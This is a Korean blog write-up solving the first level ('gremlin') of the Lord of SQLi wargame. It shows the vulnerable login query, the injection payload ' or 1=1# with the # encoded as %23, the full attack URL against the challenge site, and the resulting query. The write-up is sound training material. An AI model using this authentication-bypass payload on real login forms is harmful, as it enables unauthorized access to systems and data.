1. 문제풀이
1) 코드 해석
- 위의 코드를 바탕으로 우리한테 필요한 부분만 해석하여 풀이하면 된다
- SQLi에서 가장 필요한 부분은 SQL쿼리가 들어간 구문을 보고 어떤방식으로 데이터를 가져오는지 생각해야한다
- 이번 문제에서 SQL쿼리에 해당하는 부분은 다음 과 같다
select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'
- 위의 SQL구문만 참이 되도록 만들어주면 1번문제라서 그런지 쉽게 해결할수 있다.
2) 문제 풀이
select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'
- 이번 문제에서는 위구문의 노란색으로 칠해진 부분이 참이되게 만들어주면 된다.
- 공격 시 삽입 구문:' or 1=1# // 주석인 #은 URL 인코딩때문에 읽을 수 없기 때문에 %23으로 바꿔서 대입한다
- 공격 후 구문: https://los.rubiya.kr/chall/gremlin_280c5552de8b681110e9287421b834fd.php?id=' or 1=1%23
- 공격을 수행하면 결과적으로 SQL쿼리문에 다음과 같이 공격 시 삽입 구문이 대입되므로 공격이 성공한다.
select id from prob_gremlin where id='' or 1=1#' and pw=''
'Lord of SQLi | WebHacking.kr' 카테고리의 다른 글
Lord of SQLi(#6 darkelf) (0) | 2022.12.30 |
---|---|
Lord of SQLi(#5 wolfman) (0) | 2022.12.28 |
Lord of SQLi(#4 orc) (0) | 2022.12.28 |
Lord of SQLi(#3 goblin) (0) | 2022.12.28 |
Lord of SQLi(#2 cobolt) (1) | 2022.12.28 |